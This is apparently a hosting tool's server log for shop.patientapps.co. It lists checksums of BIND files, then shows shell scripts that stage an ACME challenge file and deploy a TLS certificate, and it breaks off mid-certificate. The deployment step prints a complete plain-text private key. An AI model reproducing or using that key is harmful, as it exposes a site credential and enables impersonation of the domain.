MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 12:35:54: Establishing a connection
2026-02-09 12:35:54: Establishing a connection
2026-02-09 12:35:54: 

PUT: /tmp/pkp295620

#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-09 12:35:54: 

chmod 755 /tmp/pkp295620; /tmp/pkp295620; rm /tmp/pkp295620

2026-02-09 12:35:54: 


1


2026-02-09 12:35:55: Establishing a connection
2026-02-09 12:35:56: 

PUT: /tmp/pkp863729

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > kDrQ_p5x_j46PS_YdQ2DBV2q2LIHVZt9P8W_yy3DQCY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kDrQ_p5x_j46PS_YdQ2DBV2q2LIHVZt9P8W_yy3DQCY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kDrQ_p5x_j46PS_YdQ2DBV2q2LIHVZt9P8W_yy3DQCY


2026-02-09 12:35:56: 

chmod 755 /tmp/pkp863729; /tmp/pkp863729; rm /tmp/pkp863729

2026-02-09 12:35:56: 




2026-02-09 12:35:59: Establishing a connection
2026-02-09 12:36:00: 

PUT: /tmp/pkp486280

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm kDrQ_p5x_j46PS_YdQ2DBV2q2LIHVZt9P8W_yy3DQCY


2026-02-09 12:36:00: 

chmod 755 /tmp/pkp486280; /tmp/pkp486280; rm /tmp/pkp486280

2026-02-09 12:36:00: 




2026-02-09 12:36:00: Establishing a connection
2026-02-09 12:36:00: 

PUT: /tmp/pkp879332

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99

cat > $temp_file <<'endmsg'
ab:09:8e:23:49:1a:cd:7b:a0:50:bb:ac:23:51:c8:ea

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBZVmLJI9uJDYTuhOteR1ItIsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA5MTEzNzI5WhcNMjYwNTEwMTEzNzI4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvbVh8QP0Yd/oAiF8b6NlkxP7JaiAcFmdL18Ci/UBFvFFm/kToH958h2U
55lvA9ramgtK6dH/qLhqyhuFlBbrSFmLkt+T3a8gkcL4WcjFdjhRBtKtpo9xNo9d
YVs3tLB1D8GgkbeVmv13HzAvyyIyGsp2+soYaG1nlaFWeviKbbbRDWs9JgO1INGv
GJks3GgUuCsVnf+PQdqcbmiX6crfAqR+PKIet4fdH1NFsKyZ65p71+53HNfRsvf6
0VI8sG0R+05IbenNlEhumymcCUSZ3XwgHHJsdJ6/u46gnBe6nzLwYwhJKvZsC/2Q
0m9ve51tzKztkit2Jf0KoO+wklYkPwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnijwvn5UDizis6f+zFpzz7gpGejAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NS5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxCZsycAAAE
AwBHMEUCIQD3c3d5rKvhBTy88hNnuj8a0t1k1OYOkmJBkioeXvIMtAIgUpZd9W5y
3vtbNspbpXbexoSI1Xst6PszIQd16dXjn6IAdQDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZxCZs14AAAEAwBGMEQCIBxo72ZkYAIXwS9tShEyUzup
08zjNgWEAgDV17ETnmO4AiA0bauOj+JeBGgKNsak8CuvaaFBTEKofXSfhRaotUDT
GDANBgkqhkiG9w0BAQsFAAOCAQEAc7Yen5RzKIoycS+UcJGeEqDzPOh6y/sfZVV+
WZE1A7G+n8CqC7tG44maDiLWG4mSaiRma0Vfp+ItcH8IsxQg0gqA4t7mz1lnrOqR
98U5hi2DfQDreU77kzZ2k8cPGFXIVmGGqky7yx65K3DaB/LlGWg7Rm8qLM+mjH6J
7uUkG0hhrqU2Go2dk8x7hswaNyij6fBPMoDueOD03ZrmAGpdZHxJrZtU1cZ8MZTf
j5E3J/f1XPwIBxSsF4LAGcb2fmbMPQTXGOHB9CERcpYN33c/466C0e2Eu9n7DLny
TeKJEY/CGIX7SdBqv0nGUdKV3y0lf9OE8+9/aMUa3zGFaJXUBA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9tWHxA/Rh3+gC
IXxvo2WTE/slqIBwWZ0vXwKL9QEW8UWb+ROgf3nyHZTnmW8D2tqaC0rp0f+ouGrK
G4WUFutIWYuS35PdryCRwvhZyMV2OFEG0q2mj3E2j11hWze0sHUPwaCRt5Wa/Xcf
MC/LIjIaynb6yhhobWeVoVZ6+IptttENaz0mA7Ug0a8YmSzcaBS4KxWd/49B2pxu
aJfpyt8CpH48oh63h90fU0WwrJnrmnvX7ncc19Gy9/rRUjywbRH7Tkht6c2USG6b
KZwJRJndfCAccmx0nr+7jqCcF7qfMvBjCEkq9mwL/ZDSb297nW3MrO2SK3Yl/Qqg
77CSViQ/AgMBAAECggEAKPilgHIEM6cx6lPlFg9J/qvQD+AGbT1Nb0+rsyJk69mL
2RXAIWempJ2y7Rn8Ge8IS0CpGzqZZoz9s0yiWstgYS3FsSDMRJJwDEr5bBqqWs/q
3/hcPJ66KrhnyID01PdPMOn2jcICc4jOU1QK3moyPAsCC0PeZZ9LQcuoa8KF0w/K
2hdDFWx5IHnjuWQxQLT8MrKkG1GdtSL+O3GRUkGNYMpRhJtASsZK1O4iEGT26pcD
7tfepqjWd2J1yCWO3X4nf/CY8CRygdOVTGt9173IcyHh6wtkN/wRwjt05Yn8/LiV
bubXtZkFZbEvXtXGqJaZgLgZ7nOQaxA8XBJf5mS6UQKBgQD3yrToXKNHTdYQMy6k
t7cXRGzq0XIC0YRA5XaMbmEnqFVBuJZA8yWNAbPsxepASTUSmftda8lbXuBmwWBj
1ndbU8LDVBHOplVbUH73IH51CUjaQI0Sas19RWbI4BnuOblzhJ3bTFkiLzZNDLmU
HKD0k/55YTKGkbTcX8gHSQac0wKBgQDD/iALjxvxTDfYkdtYaggdnbmhhXDYLCx6
47VeNs/pvH1spWJpy1reSq1dW1lHTWz/gmS7BBV+5chD0YVqrxyniEDOREAOJ1Gv
WBvcz60k/kOatI01zcOgeJfsjWJHaOH0QDAR+xseQqssw/1PDCBIndRsnvw2QD0x
wf3hoX2HZQKBgQCCE2wCKlcgIDEGEggjObmoQig24DnMVvXpJ0ujDnJ74fbXaDGf
6MPGkKVF3uNIWeW9XQ3CDcoG5/g+mLaj0jqXu5Ga/e/XHiPiqo/r5KfdgkE3KPml
OGGkqCD7xAB4uN6sUGqZayvDMSt9KPfmU1z+5w2H5EkksSpTIQidIm2RNwKBgGDr
1bsBnUbZczCFCJyTasoCip7ml2Q/jAuFedZKcszaqofEzYMVzizpbwwgtWi+UC2W
tOuK3HpxdXScM0cLq7bpeWrHc4nMRefZQYYTqUMG/jWOHdrCk4BSwoZ3cGdx5XNd
Hqh1rfZr76xmi2jAzWI7sqW4hW7qm5h0n3Ep5CLFAoGAFD0vc6q2PqNUWfGFXyKR
6XEpG136KmEDr1xUYCWrmtjVP/KfdLYX60x3ErblJtEsupFUA5EHyHvhue79NVaZ
Bn5gV+tfnWv4B7N3ywN+QmbCotEPiTksLisih0Re5n/egZR3M1clDrbPhYSkvEUf
jtos58AOw/PwiAf2JK2PRjc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
